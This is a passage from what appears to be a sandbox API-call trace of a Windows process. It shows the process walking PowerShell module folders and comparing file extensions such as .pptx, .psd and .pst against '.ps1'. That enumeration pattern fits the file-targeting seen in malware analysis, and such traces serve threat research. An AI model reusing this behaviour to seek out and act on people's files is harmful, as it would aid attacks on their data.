(lpString=".pptm") returned 5 [0193.378] lstrcmpiW (lpString1=".pptm", lpString2="s.ps1") returned -1 [0193.378] lstrlenW (lpString=".pptx") returned 5 [0193.378] lstrcmpiW (lpString1=".pptx", lpString2="s.ps1") returned -1 [0193.378] lstrlenW (lpString=".prn") returned 4 [0193.378] lstrcmpiW (lpString1=".prn", lpString2=".ps1") returned -1 [0193.378] lstrlenW (lpString=".ps") returned 3 [0193.378] lstrcmpiW (lpString1=".ps", lpString2="ps1") returned -1 [0193.378] lstrlenW (lpString=".psb") returned 4 [0193.378] lstrcmpiW (lpString1=".psb", lpString2=".ps1") returned 1 [0193.378] lstrlenW (lpString=".psd") returned 4 [0193.378] lstrcmpiW (lpString1=".psd", lpString2=".ps1") returned 1 [0193.378] lstrlenW (lpString=".pst") returned 4 [0193.378] lstrcmpiW (lpString1=".pst", lpString2=".ps1") returned 1 [0193.378] lstrlenW (lpString=".ptx") returned 4 [0193.379] lstrcmpiW (lpString1=".ptx", lpString2=".ps1") returned 1 [0193.379] lstrlenW (lpString=".pub") returned 4 [0193.379] lstrcmpiW (lpString1=".pub", lpString2=".ps1") returned 1 [0193.379] lstrlenW (lpString=".pwm") returned 4 [0193.379] lstrcmpiW (lpString1=".pwm", lpString2=".ps1") returned 1 [0193.379] lstrlenW (lpString=".pxr") returned 4 [0193.379] lstrcmpiW (lpString1=".pxr", lpString2=".ps1") returned 1 [0193.379] lstrlenW (lpString=".py") returned 3 [0193.379] lstrcmpiW (lpString1=".py", lpString2="ps1") returned -1 [0193.379] lstrlenW (lpString=".qt") returned 3 [0193.379] lstrcmpiW (lpString1=".qt", lpString2="ps1") returned -1 [0193.380] lstrlenW (lpString=".r3d") returned 4 [0193.380] lstrcmpiW (lpString1=".r3d", lpString2=".ps1") returned 1 [0193.380] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3B.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0193.380] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0193.381] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0193.381] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc716b2b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0193.381] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0193.381] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0193.381] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71620c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0193.381] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0193.381] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0193.381] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 0 [0193.381] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0193.381] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0193.381] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 0 [0193.381] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0193.382] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0193.386] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f0d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0 [0193.386] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0193.386] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0193.386] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70e433, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 0 [0193.386] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0193.386] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0193.386] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0193.387] FindClose (in: hFindFile=0x4532280 | out: hFindFile=0x4532280) returned 1 [0193.387] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0193.387] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0193.387] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x462ef90 [0193.388] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4532280 [0193.388] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.388] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0193.388] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x464efa0 [0193.389] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\*", lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4532500 [0193.392] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.392] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc79e72b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en", cAlternateFileName="")) returned 1 [0193.392] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x46c4f78 [0193.393] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\*", lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc79e72b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4532300 [0193.396] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc79e72b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.396] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.ArchiverProviders.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0193.396] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.CoreProviders.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0193.396] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MetaProvider.PowerShell.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0193.396] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsiProvider.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0193.396] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.MsuProvider.resources.dll", cAlternateFileName="MIADC5~1.DLL")) returned 1 [0193.397] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.resources.dll", cAlternateFileName="MIC579~1.DLL")) returned 1 [0193.397] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.resources.dll", cAlternateFileName="MI8D9C~1.DLL")) returned 1 [0193.397] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.resources.dll", cAlternateFileName="MI8D9C~1.DLL")) returned 0 [0193.397] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0193.548] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0193.548] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a780592, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.ArchiverProviders.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0193.548] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a780592, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.CoreProviders.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0193.548] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a780592, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3da00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0193.549] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a780592, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.MetaProvider.PowerShell.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0193.549] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.MsiProvider.dll", cAlternateFileName="MID877~1.DLL")) returned 1 [0193.549] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.MsuProvider.dll", cAlternateFileName="MI0F1E~1.DLL")) returned 1 [0193.549] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PackageManagement.dll", cAlternateFileName="MI6305~1.DLL")) returned 1 [0193.549] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x405f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement.format.ps1xml", cAlternateFileName="PACKAG~1.PS1")) returned 1 [0193.549] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement.psd1", cAlternateFileName="PACKAG~1.PSD")) returned 1 [0193.549] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageProviderFunctions.psm1", cAlternateFileName="PACKAG~1.PSM")) returned 1 [0193.549] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7a67f5, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e5ed2e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e5ed2e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2999, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageProviderFunctions.psm1", cAlternateFileName="PACKAG~1.PSM")) returned 0 [0193.549] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0193.549] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0193.549] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc718a55, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0193.549] FindClose (in: hFindFile=0x4532280 | out: hFindFile=0x4532280) returned 1 [0193.550] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0193.550] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, 